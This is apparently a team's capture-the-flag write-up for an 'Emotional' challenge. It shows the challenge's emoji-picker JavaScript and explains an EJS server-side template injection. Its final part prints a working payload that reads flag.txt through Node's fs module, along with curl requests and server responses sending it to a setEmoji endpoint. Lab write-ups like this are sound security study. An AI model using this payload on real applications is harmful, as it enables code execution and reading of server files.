๐ŸŒ Emotional

image.png


    const emojis = [
        '๐Ÿ˜Š', '๐Ÿ˜„', '๐Ÿ˜ƒ', '๐Ÿ˜', '๐Ÿ˜†', '๐Ÿ˜…', '๐Ÿ˜‚', '๐Ÿคฃ',
        '๐Ÿ˜‡', '๐Ÿ™‚', '๐Ÿ™ƒ', '๐Ÿ˜‰', '๐Ÿ˜Œ', '๐Ÿ˜', '๐Ÿฅฐ', '๐Ÿ˜˜',
        '๐Ÿ˜—', '๐Ÿ˜™', '๐Ÿ˜š', '๐Ÿ˜‹', '๐Ÿ˜›', '๐Ÿ˜', '๐Ÿ˜œ', '๐Ÿคช',
        '๐Ÿคจ', '๐Ÿง', '๐Ÿค“', '๐Ÿ˜Ž', '๐Ÿคฉ', '๐Ÿฅณ', '๐Ÿ˜', '๐Ÿ˜’',
        '๐Ÿ˜ž', '๐Ÿ˜”', '๐Ÿ˜Ÿ', '๐Ÿ˜•', '๐Ÿ™', 'โ˜น๏ธ', '๐Ÿ˜ฃ', '๐Ÿ˜–',
        '๐Ÿ˜ซ', '๐Ÿ˜ฉ', '๐Ÿฅบ', '๐Ÿ˜ข', '๐Ÿ˜ญ', '๐Ÿ˜ค', '๐Ÿ˜ ', '๐Ÿ˜ก',
        '๐Ÿคฌ', '๐Ÿคฏ', '๐Ÿ˜ณ', '๐Ÿฅต', '๐Ÿฅถ', '๐Ÿ˜ฑ', '๐Ÿ˜จ', '๐Ÿ˜ฐ',
        '๐Ÿ˜ฅ', '๐Ÿ˜“', '๐Ÿค—', '๐Ÿค”', '๐Ÿคญ', '๐Ÿคซ', '๐Ÿคฅ', '๐Ÿ˜ถ',
        '๐Ÿ˜', '๐Ÿ˜‘', '๐Ÿ˜ฌ', '๐Ÿ™„', '๐Ÿ˜ฏ', '๐Ÿ˜ฆ', '๐Ÿ˜ง', '๐Ÿ˜ฎ',
        '๐Ÿ˜ฒ', '๐Ÿฅฑ', '๐Ÿ˜ด', '๐Ÿคค', '๐Ÿ˜ช', '๐Ÿ˜ต', '๐Ÿค', '๐Ÿฅด',
        '๐Ÿคข', '๐Ÿคฎ', '๐Ÿคง', '๐Ÿ˜ท', '๐Ÿค’', '๐Ÿค•', '๐Ÿค‘', '๐Ÿค ',
        '๐Ÿ˜ˆ', '๐Ÿ‘ฟ', '๐Ÿ‘น', '๐Ÿ‘บ', '๐Ÿคก', '๐Ÿ’ฉ', '๐Ÿ‘ป', '๐Ÿ’€',
        'โ˜ ๏ธ', '๐Ÿ‘ฝ', '๐Ÿ‘พ', '๐Ÿค–', '๐ŸŽƒ', '๐Ÿ˜บ', '๐Ÿ˜ธ', '๐Ÿ˜น',
        '๐Ÿ˜ป', '๐Ÿ˜ผ', '๐Ÿ˜ฝ', '๐Ÿ™€', '๐Ÿ˜ฟ', '๐Ÿ˜พ', '๐Ÿ™ˆ', '๐Ÿ™‰',
        '๐Ÿ™Š', '๐Ÿ’‹', '๐Ÿ‘‹', '๐Ÿคš', '๐Ÿ–๏ธ', 'โœ‹', '๐Ÿ––', '๐Ÿ‘Œ',
        '๐Ÿค', 'โœŒ๏ธ', '๐Ÿคž', '๐ŸคŸ', '๐Ÿค˜', '๐Ÿค™', '๐Ÿ‘ˆ', '๐Ÿ‘‰',
        '๐Ÿ‘†', '๐Ÿ–•', '๐Ÿ‘‡', 'โ˜๏ธ', '๐Ÿ‘', '๐Ÿ‘Ž', '๐Ÿ‘Š', 'โœŠ',
        '๐Ÿค›', '๐Ÿคœ', '๐Ÿ‘', '๐Ÿ™Œ', '๐Ÿ‘', '๐Ÿคฒ', '๐Ÿค', '๐Ÿ™'
    ];
    
    let selectedEmoji = "๐Ÿ˜Š";
    
    const emojiGrid = document.getElementById('emojiGrid');
    emojis.forEach(emoji => {
        const btn = document.createElement('button');
        btn.className = 'emoji-btn';
        btn.textContent = emoji;
        btn.onclick = () => selectEmoji(emoji);
        emojiGrid.appendChild(btn);
    });
    
    function selectEmoji(emoji) {
        selectedEmoji = emoji;
        document.getElementById('currentEmoji').textContent = emoji;
        document.getElementById('selectedEmoji').textContent = emoji;
        
        document.querySelectorAll('.emoji-btn').forEach(btn => {
            btn.classList.remove('selected-emoji');
            if (btn.textContent === emoji) {
                btn.classList.add('selected-emoji');
            }
        });
    }
    
    selectEmoji(selectedEmoji);

John released the source cause things we're crashing, didn't help more than we had though, we were trying the SSTI EJS template injections

image.png

emotional.zip

Summary: This challenge exploited a Server-Side Template Injection (SSTI) vulnerability in an EJS template where user-controlled emoji input was directly concatenated into the template string before rendering, allowing arbitrary Node.js code execution to read the flag file.
How we determined this was the way:

By examining the server.js code, we identified that profile.emoji was being directly injected into the EJS template via data.replace(/<% profileEmoji %>/g, profile.emoji) before ejs.render() executed it, and the index.ejs file used <%- (unescaped output) syntax for selectedEmoji, meaning any EJS code we injected would be executed server-side.

How the request worked:

The payload <%- global.process.mainModule.require('fs').readFileSync('flag.txt','utf8') %> was stored as the emoji value, then when the homepage was loaded, the server's replace() injected our EJS code into the template, which was then executed by ejs.render(), causing Node.js to read and output the flag.txt contents into the rendered HTML.

Key insight:

The vulnerability chain had two stages: first, the /setEmoji endpoint stored our malicious EJS payload without validation, and second, the / endpoint's flawed string replacement mechanism allowed our payload to be interpreted as executable template code rather than plain text.

image.png

curl -X POST '<https://432c01de.proxy.coursestack.com/setEmoji>' \\
-H 'Cookie: token=432c01de-7e3b-4b57-a9ba-018de2f933b2_1_9f5812ff937019e9c70e1ad92308369f5e522426e954ff6d5bac135f13114e11' \\
-H 'Content-Type: application/json' \\
-d '{"emoji": "<%- global.process.mainModule.require('\\''fs'\\'').readFileSync('\\''flag.txt'\\'','\\''utf8'\\'') %>"}'
{"profileEmoji":"<%- global.process.mainModule.require('fs').readFileSync('flag.txt','utf8') %>"} 
curl -X POST '<https://432c01de.proxy.coursestack.com/setEmoji>' \\
-H 'Cookie: token=432c01de-7e3b-4b57-a9ba-018de2f933b2_1_9f5812ff937019e9c70e1ad92308369f5e522426e954ff6d5bac135f13114e11' \\                                                                                                    
-H 'Content-Type: application/json' \\
-d '{"emoji": "<%- global.process.mainModule.require('\\''fs'\\'').readFileSync('\\''flag.txt'\\'','\\''utf8'\\'') %>"}'
{"profileEmoji":"<%- global.process.mainModule.require('fs').readFileSync('flag.txt','utf8') %>"}  
Had to mash the refresh to get it to reprint again